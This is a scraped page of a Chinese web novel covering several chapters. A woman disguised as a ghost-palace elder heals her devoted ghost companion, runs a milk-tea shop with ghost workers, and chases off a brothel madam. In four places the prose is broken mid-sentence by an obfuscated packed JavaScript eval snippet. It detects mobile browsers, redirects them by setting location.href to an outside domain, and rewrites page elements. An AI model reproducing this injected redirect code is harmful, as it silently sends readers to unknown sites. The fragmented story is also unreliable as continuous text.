这样想着,夏月明顺手为自己的公司打了波广告:“请堂主们回去后帮我给堂内属下宣传宣传,我这边正在大量招工,待遇丰厚,福利超群。当然,堂主们有意加入我也非常欢迎。” 众堂主对“招工”这个用词虽有疑惑,却仍笑嘻嘻地答应了 如今虽不能按计划诛杀林蔓,但好在她将要离宫,他们心情也轻松了许多。 见众鬼再无异议,轩辕泓对夏月明点了下头,大袖一挥,化作黑雾离去。 他走后,夏月明急忙上前将跪在地上的员工们扶起。正好所有堂主都在,她也省去许多麻烦,直接同他们把员工们都要到了自己手下。 堂主和小鬼们都散去后,阿九默默地走到夏月明跟前,狭长凤眼自带几分邪气,轻声笑道:“有意思。” 知道他喜欢吃瓜,夏月明便殷切诱惑道:“九长老要不要加入我的新组织?里面有意思的事还多着呢。” 阿九凤眼一弯,道:“多谢副宫主,哦不,蔓长老抬举,但我只爱看戏,不爱演戏,抱歉。” “好吧。” 夏月明心觉惋惜,但见阿九还没有要走的意思,便道:“九长老还有事吗?” 阿九唇角一抬,神秘道:“倒是没有了。不过刚刚你来之前,听到了一些有趣的故事,想同你分享一下。” “哦?九长老请说。” “听说昨日夜里有匪徒偷袭毕宿宫,将十二位堂主都狠狠揍了一顿。当然,这帮堂主虽然废物,却也不至于平白挨打,已将匪徒制服,说是神销魂灭了。” 夏月明闻言莫名不安,干笑两声道:“制服了就好,我还有事处理,先走一步。” 阿九望着她快步离去的背影,轻轻皱起眉头,疑惑自语道:“看这反应,似乎与她无关?有意思。” …… 夏月明行至半途,才终于想通为何今日行动时,会有种不大习惯的怪异感了。 她自昨夜起,就没看到小白的身影,往常他们都是形影不离的。 心头不安愈发强烈,夏月明忍不住加快了脚步。 一进落林院,便边找边喊:“小白?小白!” 依依与小婵闻声从办公室走出,也很好奇小白竟没跟着她。 “诅咒,在吗?”夏月明焦急唤道。 两秒后,耳畔出现诅咒极为不爽的声音:“有事直说。” “请帮我找一下小白。” 在他假装是系统的时候,曾告诉过夏月明自己可以感知方圆二十米内的气息。 “我就知道。”诅咒不情愿地哼唧了两声,还是认真感受了起来,半分钟后,道:“不在这附近。” 夏月明顿时心慌,在落林院四周都探索了一遍,也未能找到小白。 一时间,阿九那句“已将匪徒制服,说是神销魂灭了”不断在她脑海中回放。 但她深知越是着急的时候越不能慌乱,便让小婵带她将从前带小白去过的地方都去了一遍,终于,在后花园的假山石洞内找到了小白。 她最担心事情发生了。 阿九说的那个挑战所有堂主的歹徒,竟真的是他。 只见他用以遮掩身份的黑色外袍下,一袭白衣已被染红了大半,那是流失的魂力。而他的魂体已然透明到近乎要消散的程度。 眼泪夺眶而出,夏月明惊慌失措地冲到小白跟前,将他脸上的黑色面具拿下,轻声呼唤着他的名字。 他却是听不见了。安安静静地闭着眼,仿佛沉浸在睡梦中一般。 小婵曾学过一些鬼医之术,知道当魂体透明到这种程度时,恐怕神仙也难救了。 她正欲劝解夏月明节哀,却见她似是意识到什么一般,忽然紧紧地抱住了小白。 神奇的事情发生了,小白原本已近完全透明的魂体,竟在她怀中,一点一点变得实在起来。 小婵此刻才恍然惊觉,一直与副宫主形影不离的白护法,竟然是副宫主的恋鬼。 天地间,她只能想到这一种情况,可以让一个鬼在这样的形态下也能快速恢复魂元。 可她待他真如伙伴一般,让她在此之前,竟半点儿也没感觉出来过。 冰凉的拥抱持续了半个时辰,小白整个魂体便恢复如初,纤长纯白的睫毛扇动了两下,他睁开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866755|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了眼睛。 身上的包裹感令他迷茫,但下一秒,他便意识到自己正被主人拥抱着。 大脑放弃思考,没心思去理清当前状况,他下意识地紧紧回抱住了她。 心田花海盛开,他感觉自己变成了一只轻盈的蝴蝶,在春风与花香的包裹下,幸福地飞舞。 只是还没来得及多幸福一会儿,感受到他恢复意识的夏月明便松开了他。 她松开了,他还不舍地抱着,夏月明轻轻推了下他,欣然唤道:“小白?” 知她不喜欢身体接触,怕她反感自己,他强行拽着最后一丝清明将自己拉回冰冷的现实,乖巧地松开了她,柔声唤道:“主人。” 声音温润如常,神色间却是难掩的失落。 夏月明脸上的泪痕还没干,惊魂未定地将小白检查了一遍,确定真的没事以后,才深深地松了口气,惊叹道:“真的好神奇啊!我刚刚还以为……” 说着声音就不自觉哽咽了,怕又要哭出来,她赶忙转移话题,严肃地问小白:“为什么要这样做?” 小白面露愧色,低头沉默良久后,才不得不小声解释道:“我听说他们打算围剿你,便想先提前去围剿他们,给他们些颜色瞧瞧。虽不能抹杀他们,但至少可以削减掉他们的一些战力,来为日后争取一线生机。” 这想法天真到有些好笑。 夏月明无奈道:“你一个,去围剿他们十二个是吧?” 这到底是谁围剿谁啊? 小白眸光暗淡,沉声道:“对不起。” “你知不知道要是我来晚一点,你就、你就……”夏月明说着眼泪又忍不住啪嗒啪嗒地掉,小白更是内疚。 静候一旁的小婵忍不住提醒道:“师父,恋鬼的所有执念皆因主人而起,他们无法评估完成执念的代价,执念一旦产生,就算灰飞烟灭也会去做。” 夏月明这才想起,不管是治愈能力还是这些盲目行为,都是小白异于其他鬼魂的特性,她深呼吸平复了下情绪,伸手抹去了脸上的泪水,柔声心疼道:“你打架的时候,疼不疼啊?” “嗯?”小白愣了一下,温柔笑道:“不疼。” “骗鬼,怎么会不疼呢。”夏月明叹了口气,沉默良久后,抬起眼帘看着小白,认真道:“我不清楚你因何而成为恋鬼,也不知该如何解开你的枷锁。但如果当下你的生命轨迹必须遵循恋鬼的法则,那么我以主人的身份命令你,从今往后,不管遇到任何情况、任何危机,你都必须优先考虑自己、保护自己,不许让自己受伤,也不许让自己疼,好吗?” 小白认真听完夏月明的话,清澈眼眸中闪过一丝疑惑,随即一双桃眼竟真似花瓣般泛起红来。 先考虑自己,这对恋鬼来说十分奢侈。 因为没有自我,便是他们存在于这世间的意义。 可她仍如此坚定地、真挚地,想要赋予他这样的权力。 何其荒诞,何其倔强…… 可他竟因为她的荒诞和倔强,不自觉产生了不该有的奢念。 他扬起唇角,如微风拂过花海般温煦一笑,点头道:“好。” 31. 讨债的来了 在距离假山两百余米的六角凉亭中,紫衣阿九像一只坠落在地的蝴蝶般趴伏着,侧头将右耳贴于地面,静听着四方大地传来的各种声音。 他伸出舌头舔了舔发干的薄唇,被长发遮住的眼睛里透着癫狂而诡异的神采,饶有兴味地自语道:“护法?恋鬼?有意思。” 其他鬼魂,甚至强如轩辕泓那般的鬼界霸主,都被这假林蔓的灵巧心机给骗了。因为他们只能听到她说给他们听的话。 可他不同,她说与旁人的话,他也全听得见。 他是有着特殊天赋的厉鬼,可以听到方圆二百米内所有带情绪的话语,除非说话的鬼魂有意用法器隔绝了声音。 他将此技能命名为「空穴来风」。 是以夏月明在假山洞中的所有对话,甚至于她来到毕宿宫后的所有日常交流,全都没能逃过他的耳朵。 除了两件事。 一是她在禁地中和轩辕泓的对话,因为禁地设有防窃听的装置。 二是她给小鬼们开会时,不知到底说了什么,竟让小鬼们坚信了她所画的匪夷所思的大饼。想来她说那番话时,定是用上了可以隔绝声音的法器。 但即便如此,他如今听到的内容也已经足够劲爆了,若说出来,别说在毕宿宫,就是在整个鬼界都能引起不小的风波。 “有意思、有意思……” 紫衣阿九扬起嘴角,带着餍足的笑容站起身来,迫不及待地朝着轩辕泓所在的院落行去。 与此同时,夏月明也发现了一件令她无比新奇的事。 小白袭击堂主们的时候,并非傻乎乎地直接冲进去硬刚,而是站在院墙上,朝堂主们投掷火球和石头。 不管多么刁钻的角度和位置,他全部都是一击即中。 由此,小婵猜测小白有着非常罕见的天赋技能——百发百中。 夏月明想起在梦香楼的时候,小白也是随手拿起一个花盆,隔着门扔出去就砸中了色鬼,当下便欣喜不已地询问了小婵关于天赋技能的设定。 小婵解释道:“简单来说,鬼魂的天赋技能与生前经历和死因都有关系。生前经历决定了天赋技能的种类,死因和死状决定了天赋技能的强度。死状越惨越痛苦,觉醒的天赋技能也就越强。当然,并不是所有鬼魂都能觉醒天赋技能,更多的是死状凄惨,却仍平庸的鬼。” 夏月明听罢垂下眼帘,想到小白如今的能力皆因痛苦换得,心中莫名难受。 似是看出她的心事,小白满不在乎地笑了笑,道:“原来如此。不过生前之事我已全部忘记,这能力于我而言可是平白捡来的大便宜呢。” 夏月明扬起唇角应和地笑了下,眼里却透着心疼和犹疑。 若有朝一日,真能让小白变成正常的鬼,就免不了让他想起那些痛苦的回忆,这样究竟值不值得呢? 但见小白坚定而坦然的笑意,她忽而又释然了。 真到那一天,再让小白自己选择便可。 所以在此之前,她要先给他创造出可以选择的机会才行。 …… 当夜,第一批鬼员工按时报道。 按照原先分好的部门,其中四名小鬼和依依、小婵一起留在办公室做行政工作; 八名小鬼被分到了基建部,跟随小白一同去帮镇内百姓加固房子,以应对随时可能到来的暴雨天气; 剩余五名小鬼被分到了营利部,在正式营利之前,他们需要和夏月明一起,到奶茶店帮忙装修。 说干就干,当天夜里,营利部的五名小鬼便化作普通人的模样,从镇内各个生意不大好的铺子里采购到了刷墙要用的所有工具和材料。 当街道上的窗户一扇扇暗下来之后,小鬼们调好石灰浆,将所有墙面都细致地粉刷了一遍。 随后两名小鬼负责用法术加速烘干墙面,夏月明和另外三名小鬼合力以不扰民的声音,拆掉了店铺和厨房间的半面墙体,将厨房改造成了半开放式的可互动操作间。 做完这一切,天才刚刚亮。 小鬼们还没来得及下班,刘茗和雁娘就不约而同来到了店外。 夏月明和小鬼们穿门而出,隐着身听到了二人的谈话。 “大东家,您怎么也来了?” “我醒得早,便想来看看有什么是我能做的,你呢?” “哎……二东家说两个月后便要开业,可施工队到现在也没来,我担心是价格没谈拢……就想着反正铺子原先也是茶馆,若是你们实在手头紧张,我先将铺子收拾收拾,你们先开业,赚到钱了再装修也不迟。” “如此也可,我同你一起收拾。” 二人说罢,便拔掉锁,推开了店门。 店内景象入目的一瞬间,二人的双眼都不自觉瞪大了。 刘茗看了眼雁娘,又看了眼铺门和手里的钥匙,难以置信道:“乖乖,我没走错地儿吧?明明昨晚来放杯子时还一点儿没变啊……” 夏月明笑着在他们身后不远处现了身,走几步到二人身后,吟吟笑道:“你们也来这么早呀?” 雁娘闻声转身,惊喜道:“夏姑娘!” “白天街上人多,不方便干活,我朋友的施工队特地选在晚上赶工,怎么样,效果还行吧?” “这这这……这是他们一晚上干的活儿?”刘茗指着屋内墙面,一脸不可思议。 “嗯。” 刘茗快步进店,走到墙面跟前伸手摸了摸,震惊道:“已经干了?” 而且像干了好几天了一样。 夏月明心虚解释道:“水和泥调和的比例好一点,可能就干得快一些。” “太神奇了,这墙刷得简直完美!” 刘茗在店内四处查看了一番,称赞之声不绝于口,听得跟在他身后的隐身小鬼们心里美滋滋的。 此后几天,店内装修进展飞速,一天一个样,逐渐变成了夏月明熟悉的样子。 只是碍于装修材料的匮乏,最终成形的样子,只能算是现代奶茶店的超低配版。 但即便如此,对此时代的人来说,已是十分惊艳的成果了。 夏月明突然觉得,室内装修什么的,也可以纳入营利部的业务范围了。 …… 小鬼们上班的第五天,镇内忽降大暴雨。 大雨之中,百姓们习惯性地拿出了家里的锅碗瓢盆,放在往常漏雨的地方,却惊奇地发现,往日残破不堪的陋室,竟不知何时成了能遮风挡雨的家。 以前一晚要倒好几次的水盆中,今日竟是一滴水也存不下了。 冒雨冲到田地里抢救庄稼的百姓也惊喜地发现,往日会积在田里淹坏庄稼的水,今日却格外乖巧地顺着沟渠流到了河流之中。 他们不知,雨水仍是往常的雨水,只是今日大雨中,有看不见的守护者在冒着雨,以微弱法力将迷途的雨水送去了该去的地方。 今年虽然没有多余的祭品送给龙王,但却是百姓们度过的最轻松的一个雨季。 雨停后,他们纷纷在家中摆起祭祀桌,放上难得省下的白面馒头做祭品, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866756|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以感恩上天的垂帘。 …… 同样感恩上天垂帘的,还有梦香楼的老鸨。 依照房契抵押书所写,七日内若夏月明拿不出足够的赎金,则房契归老鸨。 到今日,满打满算,正好超过七天。 老鸨带着两个干儿子与四名捕快,按照房契所写地址,一同来到了鬼山下。 虽然山上万物枯死,毫无生机,一看就不像能住人的地方,但贪婪使人胆大,一见山庄雄伟的建筑规模,原本心里还有点怵的老鸨甚至加快了步伐。 她知道这房子很大,却没想到这——么大。 老鸨狂喜:“这次赚大发了!” 一行人来到了毕宿宫门口,迫不及待拍了拍门。 彼时他们还不知自己敲开的,是怎样一道鬼门关。 抱头鬼听闻敲门声,扣下眼珠子伸到门外一看,忍不住咽了口口水。 他的内心也和老鸨一样狂喜:“大餐呀!这么多人,上头的大佬们吃完没准还能剩点边角料赏给我。” 他开心地挥了挥手,甩出一阵阴风直接吹开了大门。 老鸨和官差面面相觑,虽觉得这阵风甚是诡异,却不足以让他们就此放弃眼前的硕大房产,众人互相靠拢了些,一同壮胆迈步,进了院中。 最先映入眼帘的,是一座假山造景。 行了数百步后,还是假山造景…… 再走了千步、万步,走到腿酸无力再不能走,映入眼帘的,还是熟悉的假山造景…… 众人这才后知后觉地猜测到,自己是不是遇上了传说中的鬼打墙。 待他们彻底昏厥过去后,抱头鬼开开心心地喊了几个小鬼兵,把人全送去了落林院。 ——往常的活人口粮,都是由副宫主来分配的。 夏月明一眼就认出了那个老鸨,这才想起自己这些天忙着应对轩辕泓和狸姝,竟把这事儿给忘了。 她忙探了探众人鼻息,幸好,都还活着。 请小婵和依依帮忙去山下买些食物和净水之后,夏月明开始思索起该如何处置这些人来。 虽然先前她交出房契时,曾存过“有本事你们就来啊”的报复心理,但在情绪冷静过后,又觉得这样不太妥当。 以厉鬼之身报复人类,总有一种恃强凌弱的不光彩感。 思索再三,她决定还是和平解决这件事情。 当然,前提是对方愿意给和平解决的机会。 一个时辰后,小婵和依依采买归来。 小婵施术,消除了众人入院后的记忆,众鬼变成凡人模样,一同唤醒了这群不速之客。 众人醒来就看到面前的食物和水,急忙狼吞虎咽吃喝起来,稍缓过神,才开始疑惑自己为何在此,又为何如此狼狈。 夏月明捏了个蹩脚的谎,说自己在家中试迷香,未料被客人闻到了。 众人似是信了,那官差头子将夏月明训斥威胁了一顿后,老鸨便单刀直入,同夏月明说明了自己的来意。 “七日之期已到,你未能按约赎回房契,现在这房子是我的了。” 奶茶店还未开始营业,夏月明手头自是分文没有。 她诚恳地请求老鸨再宽限些时日,却被老鸨一口回绝。 老鸨不知,她此刻不是在为自己求情,而是在为他们求情。 真要搬进来,可就不是鬼打墙这么简单了。 夏月明还待再说些什么,就感觉屋内温度骤降。 她心道不妙,是轩辕泓来了。 32. 讨债的想走 轩辕泓并未直接在屋内现身,他换了身更适合同凡人打交道的装束,从院外推门而入。 即便如此,也仍然在亮相的一瞬间吸引了所有的目光。 修长的身材在贴身黑袍的包裹下勾勒出完美的线条,宛如一尊精心雕刻的艺术品,黑袍上的红色纹路随着他的步伐起伏而流转着淡淡寒芒,高高束起的长发比平常多了几分豪迈意气,他目光冷漠地朝着厅内行来,每一个动作都透露着不可侵犯的威严。 看得老鸨想入非非,直咽口水。 这样的极品若是收入梦香楼,不知能赚多少钱呢! “怎么回事?”轩辕泓径自走到夏月明面前,冷声询问。 他来之前,收到狸姝告状,说“林蔓”抓了好多人,扣留在落林院久不处理,定然是打算独自享用了。 毕宿宫虽是恶鬼组织,但非极端情况下,默认不食好人的。 见此处甚至还有几名官差,轩辕泓的目光便更是冷冽,明明她不久前才告诉自己,她想做个好鬼的。 夏月明拽着他的袖摆,将他拉到屋外,小声说明了缘由。 轩辕泓听罢神色讶然,知自己又错怪了她,心生愧疚,声音也稍微缓和了几分,“既是如此,便交给你处理吧。” 得他授权,夏月明总算放下心来,回到屋内,继续诚恳地请求老鸨给些宽限。 这一次,老鸨却是笑吟吟地答应了她,但她提出的条件,令夏月明脊背发凉。 她表情暧昧地指着轩辕泓,不知死活地讨价还价道:“宽限几日倒也不是不行,但宽限的时日里,我要他到我梦香楼来,帮我伺候客人。” 轩辕泓挑眉:“那是什么地方?” “是……”夏月明还在斟酌言语,便听老鸨挤眉弄眼地抢先答道:“当然是柔情蜜意的销魂窝呀。” 夏月明两眼一黑,只得祈祷轩辕泓听不懂老鸨暧昧的话语,强行解释道:“就是卖蜂蜜……” 轩辕泓脸色一沉,不等她说完就直白地问道:“妓院?” 老鸨咯咯直笑:“公子还是挺懂的嘛~” 夏月明心道:“完了……” 威严的容颜瞬间失却平静,取而代之的是一股深沉的怒气。轩辕泓紧抿着嘴唇,额头青筋若隐若现,已然在恼羞成怒的边缘。 老鸨却看也不看对她挤眉弄眼的夏月明,继续不知死活地问轩辕泓道:“如何,公子要不要来呀?你这一款,可是很稀缺呢。” 作为鬼界的实力强者,轩辕泓何曾受过这种侮辱? 他长袖一甩,便将老鸨扇到墙上,撞出一个人形的凹槽卡在里面。 世界清净了。 但他仍是不解气,寒气逼人的目光又望向了几名拔刀后退的捕快。 捕快们最后的勇气也被他吓得烟消云散,连滚带爬试图逃离此处,却正好撞上了刚刚赶来看热闹的狸姝和阿九。 眼见轩辕泓的功德值噌噌直掉,夏月明急忙上前按住了正欲施法的他。 “这几名衙役只是帮老鸨讨债的,不算十分可恶,请宫主先放他们一马。” 见轩辕泓动作犹疑,她忙趁机摸了摸被陷进墙面的老鸨的鼻息,幸好,还活着,罪过不至于太大。 她松了口气,又对轩辕泓道:“这件事虽然她做得很绝,但我也有理亏的地方,若宫主信我,就交给我来处置吧,也算给我一个弥补过失的机会。” 轩辕泓心中怒火未销,本不打算留情。但见她目光真诚坚定,又牢牢地护在那些凡人身前,心中莫名动容。 比起往日的残酷狠戾,他更乐意看到她慈悲的样子。 便板着脸不爽道:“三天以后,还有赖着不走的,本座亲自来送。” 夏月明急忙恭敬应声:“没问题!” 她同情地看了捕快们一眼,内心祈祷他们别被老鸨的几两碎银蛊惑,早日离开这里。 不然真让轩辕泓来送,恐怕就不只是地理位置上的“送走”了。 老鸨的两个干儿子早在轩辕泓将老鸨拍到墙上时便吓晕了过去,四名捕快心理素质还算强大,虽然没有昏过去,却也是半昏迷状态了。 夏月明让小婵帮忙再次抹去了他们的部分记忆,对轩辕泓道:“我想向宫主请令,毕宿宫所有鬼魂在接下来的三天里隐身活动,与进入此处的凡人和平共处。” 轩辕泓沉默一瞬,点了下头,吩咐狸姝去执行。 没看到林蔓的热闹,还被迫揽了个活儿,狸姝气呼呼领命,跺着脚安排旁边同样赶来吃瓜的阿九去通知所有堂主。 阿九知道夏月明想要攒功德,如此就不能使用暴力手段来赶人。 他很想看看她葫芦里买的什么药,倒也乐得先配合她。 很快,整个毕宿宫明面上就看不到一只鬼了。 老鸨等人再次睁眼醒来,最先看到的,便是夏月明关切的假笑:“你们醒啦?对不起,我今天在家里试迷烟,没想到你们会来。” “擅自购买迷烟,犯法的你知道不?”一名捕快正想好好教育威胁夏月明一番,便听见她态度良好地直接把他们的台词都说了一遍。 捕快们一时迷茫,只得愤愤然说了句:“知道就好!下不为例!” 但那老鸨却是不好糊弄,她虽然体表没有一处伤口,却浑身剧痛,仿佛连骨头都要散架了一半。 夏月明只好歉然道:“抱歉,在将你们搬来此处时,员工们不小心绊了一跤,把您给摔了。” 老鸨气呼呼地便同她要起了赔偿,一番极限拉扯之后,夏月明承诺立刻搬出房子,并把所有家具都留给老鸨,老鸨这才罢休。 夏月明走出院门后,立刻隐了身又回到房间。此时老鸨正疑惑地看着墙上的人形凹槽,若有所思。 “这形状,怎么这么……” 以为她是看出了什么端倪,夏月明心里一惊。 随即便听她嫌弃道:“这么难看呢?回头得让人填平了。” 夏月明松了口气,心道这老鸨还挺有审美。 当天夜里,老鸨的家仆便带着她的部分家当和几个儿媳,一起搬进了山庄。 人还没开始害怕,想攒功德的小鬼们先忧心了起来。 这要是一不留神吓到人,被扣功德可怎么办? 为了安抚小鬼们的情绪,夏月明给他们一人发了一只小木鱼。 “如果不小心吓到人,虔诚地敲敲小木鱼忏悔就行,敲一下功德加一。” 小鬼们面露喜色地接过小木鱼,如获至宝般珍惜地揣进了怀里。 当天夜里,夏月明也没和老鸨他们耗时间,继续按照原先的规划,去忙奶茶店的装修。 这一夜,恰巧对家茶馆派了人,蒙着面,提着粪,想在奶茶店捣乱。 泼粪的歹徒刚把窗户砸开,就被店内的景象惊呆了。 只见空无一人的黑房间内,木材似是长了翅膀一般,自动飞到锯条前,被锯成固定长度后,又飞到桌板跟前,跳进了板上的凹槽里。 两个人对视一眼,放下粪桶就要跑。 热心小鬼注意到他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夏月明欲言又止,见小鬼们的确都在真心地在自责着,且这与她原本的意图也不冲突,便没有责备他们的一些常识问题,先温声安慰道:“虽然结果不如意,但你们毕竟都是出于好心,放心吧,多敲敲木鱼,扣的功德算我的。” 小鬼们眼眶一热,感激涕零地放下心来,继续卖力地敲起了木鱼。 山下有住得近的人夜里醒来,忍不住疑惑挠头:“这山上,何时建起了佛堂” 夏月明在落林院四处张望,不见老鸨一家,疑惑又问:“他们人呢?” 小婵叹了口气,道:“他们晕倒后,我抹去他们的记忆,又将他们唤醒了。但许是恐惧已经根深蒂固,他们死活不愿再住在这里,收拾东西就要离开。” 夏月明欣喜:“这么快?我还以为至少得三天呢。” 小婵道:“是啊,那抱头鬼也记得您说要让他们在这里住三天。所以当他们想要逃离这里时,热情好客的他就用鬼打墙之术把他们留下来了。” 夏月明忍不住小声道:“好硬核的留客方式……” 小婵继续道:“老鸨一家在门口假山处走到腿软也没看到出口,绝望心死又昏了过去,这次虽然鼻息尚在,却怎么叫也叫不醒了。” 夏月明一时不知该说些什么,毕竟……大家都挺尽责的。 “我去看看他们吧。” 33. 美味的舌头 夏月明到山庄门口时,就看见老鸨一家横七竖八地躺在假山边。 他们发型凌乱、面容枯槁,被汗水浸湿又自然风干的衣服皱巴巴地贴在身上,靠近还能闻到一股臭味儿。 她赶忙上前探了探众人鼻息,幸好这一家子命都很硬,还活着。 夏月明对小蝉道:“帮他们消除记忆,然后送下山去吧。” 趁小婵对众人施法的时候,夏月明翻了翻老鸨随身携带的包袱,找出了抵押给老鸨的房契。 除了毕宿宫的房契外,她还找到了一本账本。 粗略一看,账本上清楚地记录了老鸨以各种手段得到的房契、地契和各种财产。 不知劫富济贫算不算功德,但她清楚这些受害者与自己不同,他们当中的有些人失去了这些财产,是真的可能活不下去的。 因而夏月明思虑再三,还是决定帮帮这些受害者。 正好奶茶店的装修已近尾声,夏月明便给营利部派了新的活儿。 “这几日你们先盯着老鸨一家,若他们搬到这账本上记载的房产中,你们就跟着搬过去,好好关照一下他们。等他们住不下去了,你们再去找到房产原来的主人,指点他们低价从老鸨那里赎回房契。” “是!” 营利部中不乏原先就是做账房的小鬼,因而处理起债务来,比装修还要游刃有余。当夜他们便一起搬入了老鸨的新家。 夏月明则趁着闲暇,在镇内散起步来。一是想要更了解这座城镇,看还有什么业务能做;二是想找找看有没有可渡之魂,来为月底提交业绩做准备。 行至一处偏僻院落,许久没有主动出现的诅咒忽然在她耳边道了声:“嘘!先别动。” 夏月明停下脚步,静待诅咒的说法。 两秒后,诅咒忽而以实体现身,凌空飞到不远处的房顶上,拽起了一个紫衣男子。 “阿九?” 正在偷听他们谈话的阿九顺势朝地面跃下,挣脱了诅咒的束缚。 “哟,这不是副宫主吗?你怎么也在这里?” 诅咒回到夏月明身侧,冷声道:“他在偷听。” 脑海中关于阿九探听消息的部分记忆苏醒,夏月明一时心慌。 他这样偷听了多久了? 阿九却是一点儿不慌,不爽地转了转被诅咒抓过的手腕,挑衅点评道:“这就是你的另一个恋鬼吗?” 因为知晓轩辕泓曾赏给林蔓两个恋鬼,所以他自然而然把凭空出现的诅咒对号入座了。 “啧啧……”阿九将诅咒从头到脚打量了一遍,语气挑剔道:“听说金风舞送给宫主的都是极品恋鬼,怎么这个……比起白头发的那个,丑了不止一点儿呢?所谓「极品」,莫非指的是平均值?” 诅咒原本就看小白不顺眼,被这样一对比,顿时心头火起,化作黑色雾气便要朝阿九进攻。 阿九轻松向后三连跳,避开了诅咒的无脑攻击。 夏月明根据方才的对话,推测阿九已知道小白是恋鬼的事。 这件事她只和小婵提起过,都能被他偷听到……着实令她有些不安。 他还听到了什么? 她出言制止了两方的打斗,一边同阿九寒暄,一边套起话来。 阿九自然也听出了她的意图,游刃有余地当起了谜语人,每句回答都像说了很多,又好像什么都没说一样,吊得夏月明更加心慌。 他欣赏着她故作镇定的模样,心中愈发欢喜。 那日他本打算直接将她的秘密公开,亲手制造一场好戏给自己看。却在见到轩辕泓的一瞬间改变了主意,决定放长线,钓大鱼,让这出好戏在高潮之前,再多铺垫几个回合。 现在看来,这样的确更有意思。 可他却没料到,夏月明不是一个喜欢猜来猜去的鬼。 见套了半天话也没有收获,她便直接摊牌问道:“除了小白是恋鬼,能让你当做筹码的,就只有我的身份了吧?还有吗?” 当一个人不再把自己的秘密当成秘密的时候,那这秘密对他就构不成威胁了。 “你倒是直白……”阿九讶异一瞬,很快就恢复淡定,神秘兮兮地摇了摇头,“我知道的,可远不止这些。” 夏月明想了想,又道:“那就是我能帮鬼魂攒功德,入轮回的事了?” “……” 阿九一时无语:你这样坦然让我很没面子诶。 夏月明一看他神情变化,心里便有了数,了然道:“看来就是这些了。” 当然除了这些,她也没有再说过其他什么秘密了,总不至于在地府和阎王的对话他也能听到吧。 心里有了谱,她也镇定了许多。淡淡道:“你知道这些又有什么用呢?空穴来风的话,宫主未必会信。不如提个条件与我交换,帮我保守秘密?” 阿九却似没听见她这句话,被长发遮住的耳朵动了两下,脸上表情也随之变得癫狂起来。 夏月明这才发现,他的耳朵与一般人耳形状不同,更像是她在影视作品中见过的精灵耳。 癫狂的阿九瞳色由黑变紫,妖异地舔了舔没有血色的嘴唇,留下一句“我闻到了好吃的舌头!”后,便兴奋地跳上屋顶,朝着一户宅院狂奔而去。 如突发恶疾般的举动给夏月明下了一大跳。 类似的记忆并未苏醒,可见从前的林蔓也不曾见过这样的场面。 “追上去。” 在诅咒的导航下,夏月明拐街串巷,也朝着那户人家跑去。 …… 宁府偏房,一群丫鬟们聚在一起,聊着府中另一名丫鬟的八卦。 总结来说,就是那丫鬟仗着姿容貌美,勾引完少爷又勾引老爷,是个不知臊的狐狸精。 其余丫鬟你一言,我一语,趁那丫鬟不在,对她放肆辱骂。 骂着骂着,忽然听见一声冷漠询问:“你亲眼看见她和老爷苟且的么?你当时是在床底,还是在柜子里啊?” 最先造黄谣的丫鬟随口一答:“这种事随便想想就知道吧……”话没说完猛然一惊,“谁在说话?” 接着木门“吱嘎”一响,一位妖冶邪气的紫衣男子推门而入,男子紫色的眼眸贪婪地盯着方才讲八卦的那名丫鬟,喉结一动,咽了口口水便朝她走去。 那丫鬟下意识起身后退,惊恐质问:“你是谁?你怎么进来的?站住!” 阿九却是充耳不闻,三步就走到丫鬟身前,给已经退至墙边的丫鬟来了个“壁咚”,随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866758|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后直勾勾望着丫鬟的嘴巴,迫不及待就要吻上去。 近看阿九容貌,英俊中又带着几分邪气,那丫鬟脸红呆住,竟然心跳砰砰地闭上了眼睛。 围观众人皆是不可思议地起哄起来,完全因养眼的容貌和劲爆的画面,而忽略了这男子是擅闯此处,正在做着很冒犯的事。 幸而在阿九的嘴巴接触到那丫鬟嘴巴的前一秒,夏月明气喘吁吁地赶来了。 “住嘴!” 她匆匆挤进人群,一把拉开了阿九。 阿九紫瞳涣散,直勾勾地望着那丫鬟的嘴巴,不住地咽着口水,嘴里喃喃:“舌头,舌头,我要美味的舌头……” 那丫鬟听了更是难为情起来,娇羞地躲避着阿九贪婪的目光。 在看到这一幕的时候,夏月明脑海中的记忆终于复苏了过来。 